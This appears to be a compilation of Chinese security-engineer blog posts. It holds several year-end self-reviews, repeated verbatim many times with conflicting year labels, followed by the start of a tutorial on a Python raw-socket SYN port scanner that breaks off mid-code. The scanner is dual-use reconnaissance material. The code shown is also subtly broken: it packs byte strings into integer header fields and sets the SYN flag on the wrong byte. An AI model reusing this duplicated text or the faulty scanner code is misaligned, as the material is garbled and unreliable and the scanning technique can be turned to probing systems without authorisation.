   • 学习AI安全相关知识

2. 实践目标

   • 至少完成一个开源工具的开发
   • 争取找到一个高危漏洞
   • 写8-10篇技术博客分享

3. 能力拓展

   • 考个CISSP证书
   • 学习一下威胁情报分析
   • 提升下应急响应能力

一些思考

这一年最大的感悟是：技术确实重要，但思维方式可能更重要。安全不是单纯的技术问题，而是要考虑业务、考虑效率、考虑成本。

明年打算在深入技术的同时，也要多看看安全架构和管理方面的东西。毕竟越往后走，越发现安全工作是个系统工程。

最后，明年除了技术上的提升，还要保持学习的激情。这个圈子里，技术更新太快，不学习就会被淘汰。好在遇到了不少志同道合的朋友，一起学习、一起进步。

希望明年这个时候再写总结的时候，能看到一个更强大的自己。

写这篇总结的时候，翻看了下今年的项目记录和学习笔记，还挺感慨的。继续加油吧！

时光荏苒，转眼又至岁末。回首 2024 年，于我而言是深耕细作，稳步前行的一年。在技术领域，我依然保持着持续学习和实践的热情，虽然受到时间等客观因素的限制，未能如往年般在技术广度上大幅拓展，但却在特定方向进行了更为深入的探索与积累，也因此对自身的技术体系有了更深层次的理解和认知。

在技术成长方面，漏洞分析与复现依然是今年的重点之一。我将较多精力投入到 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞 的深入研究之中。通过研读漏洞细节，进行复现验证，并撰写深度技术分析文章，我不仅提升了漏洞原理的剖析能力，更在实战复现中锤炼了技术细节的把控。 与此同时，我也对 NTLM 中继攻击的原理及其防御方法进行了系统学习，加深了对域安全和认证机制漏洞的理解，这无疑为未来更深层次的漏洞挖掘与利用奠定了基础。 安全工具开发是今年技术实践的另一重点。我尝试自制 Python SYN 扫描器，并对服务指纹识别功能进行了初步探索。 从零开始构建工具的过程，让我对网络扫描器的核心原理有了更直观的认识，也进一步提升了 Python 编程和安全工具开发能力。 虽然成果尚显稚嫩，但这无疑是迈向更高级安全工具开发的重要一步。 当然，在技术深耕的同时，我也未曾懈怠对前沿技术的关注。 云安全、AI 安全、代码审计等领域依然是我持续学习和探索的方向，虽然今年投入时间相对有限，但我相信这些前沿技术将在未来工作中发挥越来越重要的作用。 需要坦诚说明的是，由于时间分配的原因，2024 年度我个人的技术文章输出相对较少，仅完成了两篇，这其中既有客观原因，也有主观努力不足之处，实需反思改进。

在实践回顾方面，撰写技术文章是今年重要的实践形式。 我完成了 《CVE-2024-21410：Microsoft Exchange Server 特权提升漏洞深度分析与缓解》 以及 《深入现代网络扫描器原理与实践：自制 Python SYN 扫描器与服务指纹识别》 两篇技术文章。 文章撰写的过程，不仅仅是对技术知识的简单罗列，更是一个系统性梳理、深度思考和凝练表达的过程。 通过撰写文章，我将零散的知识点串联成完整的知识体系，并锻炼了技术总结和对外分享的能力，这对于个人技术品牌的建立和技术影响力的提升都至关重要。

回顾 2024 年的经验与反思，我认为，技术深度与广度的平衡 依然是未来需要长期关注的重点。 在信息安全领域，技术的广度固然重要，它决定了我们知识面的覆盖范围；但技术深度则更为关键，它决定了我们解决复杂问题的能力和核心竞争力。 因此，未来在保持技术广度探索的同时，我需要更加注重技术深度的挖掘，力求在特定领域形成自己的技术专长。 实践是提升技术的永恒真理。 纸上得来终觉浅，绝知此事要躬行。 只有将理论知识应用于实际场景，不断进行实践和验证，才能真正掌握技术，并将知识转化为解决实际安全问题的能力。 此外，时间管理与效率提升 也将是我未来需要持续改进的方面。 如何更合理地规划时间，更高效地利用时间，在有限的时间内完成更多的技术探索和知识沉淀，将直接关系到未来的技术成长速度和发展潜力。

展望 2025 年，我希望在以下几个方面有所突破和提升。 首先，继续扩展技术广度与深度。 在持续关注云原生安全、AI 安全、代码审计等前沿技术的基础上，尝试拓展安全领域的其他方向，例如物联网安全、工控安全等，以构建更全面的技术知识体系。 其次，加强工具开发与实战应用。 在今年 Python 扫描器实践的基础上，继续扩展更多扫描功能和漏洞检测模块，提升工具的实用性。 同时，我也希望尝试开发其他类型的安全工具，例如漏洞利用工具、渗透测试辅助工具等，将技术知识应用于实战场景。 第三，持续提升知识沉淀与输出。 继续坚持技术知识沉淀的良好习惯，撰写更多高质量技术博客，积极参与技术社区交流，分享研究成果和实践经验，力争在技术领域发出自己的声音，贡献自己的力量。

总结 2024 年，可以用“深耕细作，蓄势待发”八个字来概括。 虽然文章产出不多，但技术积累和沉淀是稳步提升的。 展望 2025 年，我将继续保持对技术的热情和追求，不断拓展技术边界，迎接新的挑战，力争在信息安全领域做出更大的贡献。

1. 技术成长

• 云原生安全

  • 深入研究云安全架构演进、容器安全运行时、Serverless 安全风险与防护。
  • 分析云原生安全案例，提升复杂云环境威胁研判能力。
  • 主导参与云安全体系升级，优化云安全配置管理规范。

• 代码审计

  • 代码审计能力提升，掌握多种静态分析工具和动态污点追踪技术。
  • 通过代码审计，提前发现并推动修复业务系统潜在安全漏洞。

• AI 安全

  • 学习 AI 安全对抗基础理论，探索 AI 模型安全、对抗样本、AI 安全应用。

2. 实践回顾

• 安全工具流程优化

  • 牵头改进内部漏洞管理流程，开发辅助脚本提升漏洞跟踪、修复、验证效率。

• 高危漏洞挖掘与缓解

  • 成功挖掘并验证高危漏洞，协同团队制定缓解方案降低业务风险。

• 技术知识沉淀与分享

  • 撰写技术博文，涵盖云安全、容器安全、渗透测试、漏洞分析等主题，促进团队知识共享。

• 安全管理实践探索

  • 学习信息安全管理体系知识，应用于实际工作提升安全规范性和有效性。

• 威胁情报驱动的安全防御

  • 参与威胁情报平台运营优化，负责威胁情报分析研判应用，提升主动安全防御能力。

• 实战应急响应演练

  • 参与安全事件应急响应处置，锤炼实战应急响应技能。

3. 经验与反思

1. 安全架构的演进与适应性: 需关注云原生、零信任等新兴安全架构，结合业务场景探索实践。
2. 安全运营的自动化与智能化: 亟需引入自动化、智能化技术构建智能安全运营中心，提升效率。
3. 知识体系的构建与深化: 需系统化构建知识体系，注重理论与实践结合，提升核心竞争力。

4. 2024 年的展望

1. 聚焦核心技术纵深

   • 深入研究 Serverless 安全运行时环境机制。
   • 精进代码审计技能，研究 AI 辅助代码审计技术。
   • 跟踪 AI 安全前沿攻防技术，探索 AI 在安全领域的应用。

2. 强化实战能力锤炼

   • 参与大型安全项目架构设计与实施，提升复杂项目落地能力。
   • 深度参与红蓝对抗演练，提升实战攻防和应急响应能力。
   • 进行技术知识沉淀，撰写高质量技术博客分享研究成果。

3. 拓展专业视野格局

   • 学习云安全最佳实践，掌握云原生安全架构设计原则。
   • 深入研究威胁建模与风险评估方法论，提升风险识别和安全左移能力。
   • 加强 SOAR 技术学习与应用探索，调研 SOAR 平台在安全运营中心的实践。

5. 结语

2023 年稳扎稳打，厚积薄发。 2024 年将继续深耕技术，拓展视野，迎接挑战，力争在安全领域做出更大贡献。

时光荏苒，转眼又至岁末。回首 2024 年，于我而言是深耕细作，稳步前行的一年。在技术领域，我依然保持着持续学习和实践的热情，虽然受到时间等客观因素的限制，未能如往年般在技术广度上大幅拓展，但却在特定方向进行了更为深入的探索与积累，也因此对自身的技术体系有了更深层次的理解和认知。

在技术成长方面，漏洞分析与复现依然是今年的重点之一。我将较多精力投入到 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞 的深入研究之中。通过研读漏洞细节，进行复现验证，并撰写深度技术分析文章，我不仅提升了漏洞原理的剖析能力，更在实战复现中锤炼了技术细节的把控。 与此同时，我也对 NTLM 中继攻击的原理及其防御方法进行了系统学习，加深了对域安全和认证机制漏洞的理解，这无疑为未来更深层次的漏洞挖掘与利用奠定了基础。 安全工具开发是今年技术实践的另一重点。我尝试自制 Python SYN 扫描器，并对服务指纹识别功能进行了初步探索。 从零开始构建工具的过程，让我对网络扫描器的核心原理有了更直观的认识，也进一步提升了 Python 编程和安全工具开发能力。 虽然成果尚显稚嫩，但这无疑是迈向更高级安全工具开发的重要一步。 当然，在技术深耕的同时，我也未曾懈怠对前沿技术的关注。 云安全、AI 安全、代码审计等领域依然是我持续学习和探索的方向，虽然今年投入时间相对有限，但我相信这些前沿技术将在未来工作中发挥越来越重要的作用。 需要坦诚说明的是，由于时间分配的原因，2024 年度我个人的技术文章输出相对较少，仅完成了两篇，这其中既有客观原因，也有主观努力不足之处，实需反思改进。

在实践回顾方面，撰写技术文章是今年重要的实践形式。 我完成了 《CVE-2024-21410：Microsoft Exchange Server 特权提升漏洞深度分析与缓解》 以及 《深入现代网络扫描器原理与实践：自制 Python SYN 扫描器与服务指纹识别》 两篇技术文章。 文章撰写的过程，不仅仅是对技术知识的简单罗列，更是一个系统性梳理、深度思考和凝练表达的过程。 通过撰写文章，我将零散的知识点串联成完整的知识体系，并锻炼了技术总结和对外分享的能力，这对于个人技术品牌的建立和技术影响力的提升都至关重要。

回顾 2024 年的经验与反思，我认为，技术深度与广度的平衡 依然是未来需要长期关注的重点。 在信息安全领域，技术的广度固然重要，它决定了我们知识面的覆盖范围；但技术深度则更为关键，它决定了我们解决复杂问题的能力和核心竞争力。 因此，未来在保持技术广度探索的同时，我需要更加注重技术深度的挖掘，力求在特定领域形成自己的技术专长。 实践是提升技术的永恒真理。 纸上得来终觉浅，绝知此事要躬行。 只有将理论知识应用于实际场景，不断进行实践和验证，才能真正掌握技术，并将知识转化为解决实际安全问题的能力。 此外，时间管理与效率提升 也将是我未来需要持续改进的方面。 如何更合理地规划时间，更高效地利用时间，在有限的时间内完成更多的技术探索和知识沉淀，将直接关系到未来的技术成长速度和发展潜力。

展望 2025 年，我希望在以下几个方面有所突破和提升。 首先，继续扩展技术广度与深度。 在持续关注云原生安全、AI 安全、代码审计等前沿技术的基础上，尝试拓展安全领域的其他方向，例如物联网安全、工控安全等，以构建更全面的技术知识体系。 其次，加强工具开发与实战应用。 在今年 Python 扫描器实践的基础上，继续扩展更多扫描功能和漏洞检测模块，提升工具的实用性。 同时，我也希望尝试开发其他类型的安全工具，例如漏洞利用工具、渗透测试辅助工具等，将技术知识应用于实战场景。 第三，持续提升知识沉淀与输出。 继续坚持技术知识沉淀的良好习惯，撰写更多高质量技术博客，积极参与技术社区交流，分享研究成果和实践经验，力争在技术领域发出自己的声音，贡献自己的力量。

总结 2024 年，可以用“深耕细作，蓄势待发”八个字来概括。 虽然文章产出不多，但技术积累和沉淀是稳步提升的。 展望 2025 年，我将继续保持对技术的热情和追求，不断拓展技术边界，迎接新的挑战，力争在信息安全领域做出更大的贡献。

1. 技术成长

• 云原生安全

  • 深入研究云安全架构演进、容器安全运行时、Serverless 安全风险与防护。
  • 分析云原生安全案例，提升复杂云环境威胁研判能力。
  • 主导参与云安全体系升级，优化云安全配置管理规范。

• 代码审计

  • 代码审计能力提升，掌握多种静态分析工具和动态污点追踪技术。
  • 通过代码审计，提前发现并推动修复业务系统潜在安全漏洞。

• AI 安全

  • 学习 AI 安全对抗基础理论，探索 AI 模型安全、对抗样本、AI 安全应用。

2. 实践回顾

• 安全工具流程优化

  • 牵头改进内部漏洞管理流程，开发辅助脚本提升漏洞跟踪、修复、验证效率。

• 高危漏洞挖掘与缓解

  • 成功挖掘并验证高危漏洞，协同团队制定缓解方案降低业务风险。

• 技术知识沉淀与分享

  • 撰写技术博文，涵盖云安全、容器安全、渗透测试、漏洞分析等主题，促进团队知识共享。

• 安全管理实践探索

  • 学习信息安全管理体系知识，应用于实际工作提升安全规范性和有效性。

• 威胁情报驱动的安全防御

  • 参与威胁情报平台运营优化，负责威胁情报分析研判应用，提升主动安全防御能力。

• 实战应急响应演练

  • 参与安全事件应急响应处置，锤炼实战应急响应技能。

3. 经验与反思

1. 安全架构的演进与适应性: 需关注云原生、零信任等新兴安全架构，结合业务场景探索实践。
2. 安全运营的自动化与智能化: 亟需引入自动化、智能化技术构建智能安全运营中心，提升效率。
3. 知识体系的构建与深化: 需系统化构建知识体系，注重理论与实践结合，提升核心竞争力。

4. 2024 年的展望

1. 聚焦核心技术纵深

   • 深入研究 Serverless 安全运行时环境机制。
   • 精进代码审计技能，研究 AI 辅助代码审计技术。
   • 跟踪 AI 安全前沿攻防技术，探索 AI 在安全领域的应用。

2. 强化实战能力锤炼

   • 参与大型安全项目架构设计与实施，提升复杂项目落地能力。
   • 深度参与红蓝对抗演练，提升实战攻防和应急响应能力。
   • 进行技术知识沉淀，撰写高质量技术博客分享研究成果。

3. 拓展专业视野格局

   • 学习云安全最佳实践，掌握云原生安全架构设计原则。
   • 深入研究威胁建模与风险评估方法论，提升风险识别和安全左移能力。
   • 加强 SOAR 技术学习与应用探索，调研 SOAR 平台在安全运营中心的实践。

5. 结语

2023 年稳扎稳打，厚积薄发。 2024 年将继续深耕技术，拓展视野，迎接挑战，力争在安全领域做出更大贡献。

时光荏苒，转眼又至岁末。回首 2024 年，于我而言是深耕细作，稳步前行的一年。在技术领域，我依然保持着持续学习和实践的热情，虽然受到时间等客观因素的限制，未能如往年般在技术广度上大幅拓展，但却在特定方向进行了更为深入的探索与积累，也因此对自身的技术体系有了更深层次的理解和认知。

在技术成长方面，漏洞分析与复现依然是今年的重点之一。我将较多精力投入到 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞 的深入研究之中。通过研读漏洞细节，进行复现验证，并撰写深度技术分析文章，我不仅提升了漏洞原理的剖析能力，更在实战复现中锤炼了技术细节的把控。 与此同时，我也对 NTLM 中继攻击的原理及其防御方法进行了系统学习，加深了对域安全和认证机制漏洞的理解，这无疑为未来更深层次的漏洞挖掘与利用奠定了基础。 安全工具开发是今年技术实践的另一重点。我尝试自制 Python SYN 扫描器，并对服务指纹识别功能进行了初步探索。 从零开始构建工具的过程，让我对网络扫描器的核心原理有了更直观的认识，也进一步提升了 Python 编程和安全工具开发能力。 虽然成果尚显稚嫩，但这无疑是迈向更高级安全工具开发的重要一步。 当然，在技术深耕的同时，我也未曾懈怠对前沿技术的关注。 云安全、AI 安全、代码审计等领域依然是我持续学习和探索的方向，虽然今年投入时间相对有限，但我相信这些前沿技术将在未来工作中发挥越来越重要的作用。 需要坦诚说明的是，由于时间分配的原因，2024 年度我个人的技术文章输出相对较少，仅完成了两篇，这其中既有客观原因，也有主观努力不足之处，实需反思改进。

在实践回顾方面，撰写技术文章是今年重要的实践形式。 我完成了 《CVE-2024-21410：Microsoft Exchange Server 特权提升漏洞深度分析与缓解》 以及 《深入现代网络扫描器原理与实践：自制 Python SYN 扫描器与服务指纹识别》 两篇技术文章。 文章撰写的过程，不仅仅是对技术知识的简单罗列，更是一个系统性梳理、深度思考和凝练表达的过程。 通过撰写文章，我将零散的知识点串联成完整的知识体系，并锻炼了技术总结和对外分享的能力，这对于个人技术品牌的建立和技术影响力的提升都至关重要。

回顾 2024 年的经验与反思，我认为，技术深度与广度的平衡 依然是未来需要长期关注的重点。 在信息安全领域，技术的广度固然重要，它决定了我们知识面的覆盖范围；但技术深度则更为关键，它决定了我们解决复杂问题的能力和核心竞争力。 因此，未来在保持技术广度探索的同时，我需要更加注重技术深度的挖掘，力求在特定领域形成自己的技术专长。 实践是提升技术的永恒真理。 纸上得来终觉浅，绝知此事要躬行。 只有将理论知识应用于实际场景，不断进行实践和验证，才能真正掌握技术，并将知识转化为解决实际安全问题的能力。 此外，时间管理与效率提升 也将是我未来需要持续改进的方面。 如何更合理地规划时间，更高效地利用时间，在有限的时间内完成更多的技术探索和知识沉淀，将直接关系到未来的技术成长速度和发展潜力。

展望 2025 年，我希望在以下几个方面有所突破和提升。 首先，继续扩展技术广度与深度。 在持续关注云原生安全、AI 安全、代码审计等前沿技术的基础上，尝试拓展安全领域的其他方向，例如物联网安全、工控安全等，以构建更全面的技术知识体系。 其次，加强工具开发与实战应用。 在今年 Python 扫描器实践的基础上，继续扩展更多扫描功能和漏洞检测模块，提升工具的实用性。 同时，我也希望尝试开发其他类型的安全工具，例如漏洞利用工具、渗透测试辅助工具等，将技术知识应用于实战场景。 第三，持续提升知识沉淀与输出。 继续坚持技术知识沉淀的良好习惯，撰写更多高质量技术博客，积极参与技术社区交流，分享研究成果和实践经验，力争在技术领域发出自己的声音，贡献自己的力量。

总结 2024 年，可以用“深耕细作，蓄势待发”八个字来概括。 虽然文章产出不多，但技术积累和沉淀是稳步提升的。 展望 2025 年，我将继续保持对技术的热情和追求，不断拓展技术边界，迎接新的挑战，力争在信息安全领域做出更大的贡献。

1. 技术成长

• 云原生安全

  • 深入研究云安全架构演进、容器安全运行时、Serverless 安全风险与防护。
  • 分析云原生安全案例，提升复杂云环境威胁研判能力。
  • 主导参与云安全体系升级，优化云安全配置管理规范。

• 代码审计

  • 代码审计能力提升，掌握多种静态分析工具和动态污点追踪技术。
  • 通过代码审计，提前发现并推动修复业务系统潜在安全漏洞。

• AI 安全

  • 学习 AI 安全对抗基础理论，探索 AI 模型安全、对抗样本、AI 安全应用。

2. 实践回顾

• 安全工具流程优化

  • 牵头改进内部漏洞管理流程，开发辅助脚本提升漏洞跟踪、修复、验证效率。

• 高危漏洞挖掘与缓解

  • 成功挖掘并验证高危漏洞，协同团队制定缓解方案降低业务风险。

• 技术知识沉淀与分享

  • 撰写技术博文，涵盖云安全、容器安全、渗透测试、漏洞分析等主题，促进团队知识共享。

• 安全管理实践探索

  • 学习信息安全管理体系知识，应用于实际工作提升安全规范性和有效性。

• 威胁情报驱动的安全防御

  • 参与威胁情报平台运营优化，负责威胁情报分析研判应用，提升主动安全防御能力。

• 实战应急响应演练

  • 参与安全事件应急响应处置，锤炼实战应急响应技能。

3. 经验与反思

1. 安全架构的演进与适应性: 需关注云原生、零信任等新兴安全架构，结合业务场景探索实践。
2. 安全运营的自动化与智能化: 亟需引入自动化、智能化技术构建智能安全运营中心，提升效率。
3. 知识体系的构建与深化: 需系统化构建知识体系，注重理论与实践结合，提升核心竞争力。

4. 2024 年的展望

1. 聚焦核心技术纵深

   • 深入研究 Serverless 安全运行时环境机制。
   • 精进代码审计技能，研究 AI 辅助代码审计技术。
   • 跟踪 AI 安全前沿攻防技术，探索 AI 在安全领域的应用。

2. 强化实战能力锤炼

   • 参与大型安全项目架构设计与实施，提升复杂项目落地能力。
   • 深度参与红蓝对抗演练，提升实战攻防和应急响应能力。
   • 进行技术知识沉淀，撰写高质量技术博客分享研究成果。

3. 拓展专业视野格局

   • 学习云安全最佳实践，掌握云原生安全架构设计原则。
   • 深入研究威胁建模与风险评估方法论，提升风险识别和安全左移能力。
   • 加强 SOAR 技术学习与应用探索，调研 SOAR 平台在安全运营中心的实践。

5. 结语

2023 年稳扎稳打，厚积薄发。 2024 年将继续深耕技术，拓展视野，迎接挑战，力争在安全领域做出更大贡献。

又到了年末，回顾这一年，经历了不少，也收获了很多。作为一名安全工程师，今年在技术上有了不少突破，同时也更清晰地认识到了自己的不足。

技术成长

今年主要在以下几个方面有了深入：

1. 容器安全

   • 深入研究了Docker和K8s的安全机制
   • 完成了几个容器逃逸漏洞的分析复现
   • 参与编写了公司容器安全基线

2. 渗透测试

   • 重点突破了Web应用安全测试
   • 掌握了几个不错的自动化工具
   • 完成了3个重要项目的渗透测试

3. 安全架构

   • 设计并实施了一套完整的堡垒机方案
   • 优化了公司的WAF规则配置
   • 建立了比较完善的资产管理系统

踩过的坑

说实话今年也踩了不少坑：

1. 一开始在做安全架构时，过分追求"完美"方案，结果方案太重太复杂，实施起来困难重重。后来明白了，安全和业务的平衡才是关键。

2. 在做渗透测试时，有次太依赖工具了，错过了一些需要手工测试才能发现的漏洞。这件事让我重新思考了自动化与手工测试的平衡。

明年的计划

展望2023年，给自己定了几个目标：

1. 技术深化

   • 深入研究云原生安全
   • 提升代码审计能力
   • 学习AI安全相关知识

2. 实践目标

   • 至少完成一个开源工具的开发
   • 争取找到一个高危漏洞
   • 写8-10篇技术博客分享

3. 能力拓展

   • 考个CISSP证书
   • 学习一下威胁情报分析
   • 提升下应急响应能力

一些思考

这一年最大的感悟是：技术确实重要，但思维方式可能更重要。安全不是单纯的技术问题，而是要考虑业务、考虑效率、考虑成本。

明年打算在深入技术的同时，也要多看看安全架构和管理方面的东西。毕竟越往后走，越发现安全工作是个系统工程。

最后，明年除了技术上的提升，还要保持学习的激情。这个圈子里，技术更新太快，不学习就会被淘汰。好在遇到了不少志同道合的朋友，一起学习、一起进步。

希望明年这个时候再写总结的时候，能看到一个更强大的自己。

写这篇总结的时候，翻看了下今年的项目记录和学习笔记，还挺感慨的。继续加油吧！

时光荏苒，转眼又至岁末。回首 2024 年，于我而言是深耕细作，稳步前行的一年。在技术领域，我依然保持着持续学习和实践的热情，虽然受到时间等客观因素的限制，未能如往年般在技术广度上大幅拓展，但却在特定方向进行了更为深入的探索与积累，也因此对自身的技术体系有了更深层次的理解和认知。

在技术成长方面，漏洞分析与复现依然是今年的重点之一。我将较多精力投入到 CVE-2024-21410 Microsoft Exchange Server 特权提升漏洞 的深入研究之中。通过研读漏洞细节，进行复现验证，并撰写深度技术分析文章，我不仅提升了漏洞原理的剖析能力，更在实战复现中锤炼了技术细节的把控。 与此同时，我也对 NTLM 中继攻击的原理及其防御方法进行了系统学习，加深了对域安全和认证机制漏洞的理解，这无疑为未来更深层次的漏洞挖掘与利用奠定了基础。 安全工具开发是今年技术实践的另一重点。我尝试自制 Python SYN 扫描器，并对服务指纹识别功能进行了初步探索。 从零开始构建工具的过程，让我对网络扫描器的核心原理有了更直观的认识，也进一步提升了 Python 编程和安全工具开发能力。 虽然成果尚显稚嫩，但这无疑是迈向更高级安全工具开发的重要一步。 当然，在技术深耕的同时，我也未曾懈怠对前沿技术的关注。 云安全、AI 安全、代码审计等领域依然是我持续学习和探索的方向，虽然今年投入时间相对有限，但我相信这些前沿技术将在未来工作中发挥越来越重要的作用。 需要坦诚说明的是，由于时间分配的原因，2024 年度我个人的技术文章输出相对较少，仅完成了两篇，这其中既有客观原因，也有主观努力不足之处，实需反思改进。

在实践回顾方面，撰写技术文章是今年重要的实践形式。 我完成了 《CVE-2024-21410：Microsoft Exchange Server 特权提升漏洞深度分析与缓解》 以及 《深入现代网络扫描器原理与实践：自制 Python SYN 扫描器与服务指纹识别》 两篇技术文章。 文章撰写的过程，不仅仅是对技术知识的简单罗列，更是一个系统性梳理、深度思考和凝练表达的过程。 通过撰写文章，我将零散的知识点串联成完整的知识体系，并锻炼了技术总结和对外分享的能力，这对于个人技术品牌的建立和技术影响力的提升都至关重要。

回顾 2024 年的经验与反思，我认为，技术深度与广度的平衡 依然是未来需要长期关注的重点。 在信息安全领域，技术的广度固然重要，它决定了我们知识面的覆盖范围；但技术深度则更为关键，它决定了我们解决复杂问题的能力和核心竞争力。 因此，未来在保持技术广度探索的同时，我需要更加注重技术深度的挖掘，力求在特定领域形成自己的技术专长。 实践是提升技术的永恒真理。 纸上得来终觉浅，绝知此事要躬行。 只有将理论知识应用于实际场景，不断进行实践和验证，才能真正掌握技术，并将知识转化为解决实际安全问题的能力。 此外，时间管理与效率提升 也将是我未来需要持续改进的方面。 如何更合理地规划时间，更高效地利用时间，在有限的时间内完成更多的技术探索和知识沉淀，将直接关系到未来的技术成长速度和发展潜力。

展望 2025 年，我希望在以下几个方面有所突破和提升。 首先，继续扩展技术广度与深度。 在持续关注云原生安全、AI 安全、代码审计等前沿技术的基础上，尝试拓展安全领域的其他方向，例如物联网安全、工控安全等，以构建更全面的技术知识体系。 其次，加强工具开发与实战应用。 在今年 Python 扫描器实践的基础上，继续扩展更多扫描功能和漏洞检测模块，提升工具的实用性。 同时，我也希望尝试开发其他类型的安全工具，例如漏洞利用工具、渗透测试辅助工具等，将技术知识应用于实战场景。 第三，持续提升知识沉淀与输出。 继续坚持技术知识沉淀的良好习惯，撰写更多高质量技术博客，积极参与技术社区交流，分享研究成果和实践经验，力争在技术领域发出自己的声音，贡献自己的力量。

总结 2024 年，可以用“深耕细作，蓄势待发”八个字来概括。 虽然文章产出不多，但技术积累和沉淀是稳步提升的。 展望 2025 年，我将继续保持对技术的热情和追求，不断拓展技术边界，迎接新的挑战，力争在信息安全领域做出更大的贡献。

1. 技术成长

• 云原生安全

  • 深入研究云安全架构演进、容器安全运行时、Serverless 安全风险与防护。
  • 分析云原生安全案例，提升复杂云环境威胁研判能力。
  • 主导参与云安全体系升级，优化云安全配置管理规范。

• 代码审计

  • 代码审计能力提升，掌握多种静态分析工具和动态污点追踪技术。
  • 通过代码审计，提前发现并推动修复业务系统潜在安全漏洞。

• AI 安全

  • 学习 AI 安全对抗基础理论，探索 AI 模型安全、对抗样本、AI 安全应用。

2. 实践回顾

• 安全工具流程优化

  • 牵头改进内部漏洞管理流程，开发辅助脚本提升漏洞跟踪、修复、验证效率。

• 高危漏洞挖掘与缓解

  • 成功挖掘并验证高危漏洞，协同团队制定缓解方案降低业务风险。

• 技术知识沉淀与分享

  • 撰写技术博文，涵盖云安全、容器安全、渗透测试、漏洞分析等主题，促进团队知识共享。

• 安全管理实践探索

  • 学习信息安全管理体系知识，应用于实际工作提升安全规范性和有效性。

• 威胁情报驱动的安全防御

  • 参与威胁情报平台运营优化，负责威胁情报分析研判应用，提升主动安全防御能力。

• 实战应急响应演练

  • 参与安全事件应急响应处置，锤炼实战应急响应技能。

3. 经验与反思

1. 安全架构的演进与适应性: 需关注云原生、零信任等新兴安全架构，结合业务场景探索实践。
2. 安全运营的自动化与智能化: 亟需引入自动化、智能化技术构建智能安全运营中心，提升效率。
3. 知识体系的构建与深化: 需系统化构建知识体系，注重理论与实践结合，提升核心竞争力。

4. 2024 年的展望

1. 聚焦核心技术纵深

   • 深入研究 Serverless 安全运行时环境机制。
   • 精进代码审计技能，研究 AI 辅助代码审计技术。
   • 跟踪 AI 安全前沿攻防技术，探索 AI 在安全领域的应用。

2. 强化实战能力锤炼

   • 参与大型安全项目架构设计与实施，提升复杂项目落地能力。
   • 深度参与红蓝对抗演练，提升实战攻防和应急响应能力。
   • 进行技术知识沉淀，撰写高质量技术博客分享研究成果。

3. 拓展专业视野格局

   • 学习云安全最佳实践，掌握云原生安全架构设计原则。
   • 深入研究威胁建模与风险评估方法论，提升风险识别和安全左移能力。
   • 加强 SOAR 技术学习与应用探索，调研 SOAR 平台在安全运营中心的实践。

5. 结语

2023 年稳扎稳打，厚积薄发。 2024 年将继续深耕技术，拓展视野，迎接挑战，力争在安全领域做出更大贡献。

又到了年末，回顾这一年，经历了不少，也收获了很多。作为一名安全工程师，今年在技术上有了不少突破，同时也更清晰地认识到了自己的不足。

技术成长

今年主要在以下几个方面有了深入：

1. 容器安全

   • 深入研究了Docker和K8s的安全机制
   • 完成了几个容器逃逸漏洞的分析复现
   • 参与编写了公司容器安全基线

2. 渗透测试

   • 重点突破了Web应用安全测试
   • 掌握了几个不错的自动化工具
   • 完成了3个重要项目的渗透测试

3. 安全架构

   • 设计并实施了一套完整的堡垒机方案
   • 优化了公司的WAF规则配置
   • 建立了比较完善的资产管理系统

踩过的坑

说实话今年也踩了不少坑：

1. 一开始在做安全架构时，过分追求"完美"方案，结果方案太重太复杂，实施起来困难重重。后来明白了，安全和业务的平衡才是关键。

2. 在做渗透测试时，有次太依赖工具了，错过了一些需要手工测试才能发现的漏洞。这件事让我重新思考了自动化与手工测试的平衡。

明年的计划

展望2023年，给自己定了几个目标：

1. 技术深化

   • 深入研究云原生安全
   • 提升代码审计能力
   • 学习AI安全相关知识

2. 实践目标

   • 至少完成一个开源工具的开发
   • 争取找到一个高危漏洞
   • 写8-10篇技术博客分享

3. 能力拓展

   • 考个CISSP证书
   • 学习一下威胁情报分析
   • 提升下应急响应能力

一些思考

这一年最大的感悟是：技术确实重要，但思维方式可能更重要。安全不是单纯的技术问题，而是要考虑业务、考虑效率、考虑成本。

明年打算在深入技术的同时，也要多看看安全架构和管理方面的东西。毕竟越往后走，越发现安全工作是个系统工程。

最后，明年除了技术上的提升，还要保持学习的激情。这个圈子里，技术更新太快，不学习就会被淘汰。好在遇到了不少志同道合的朋友，一起学习、一起进步。

希望明年这个时候再写总结的时候，能看到一个更强大的自己。

写这篇总结的时候，翻看了下今年的项目记录和学习笔记，还挺感慨的。继续加油吧！

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
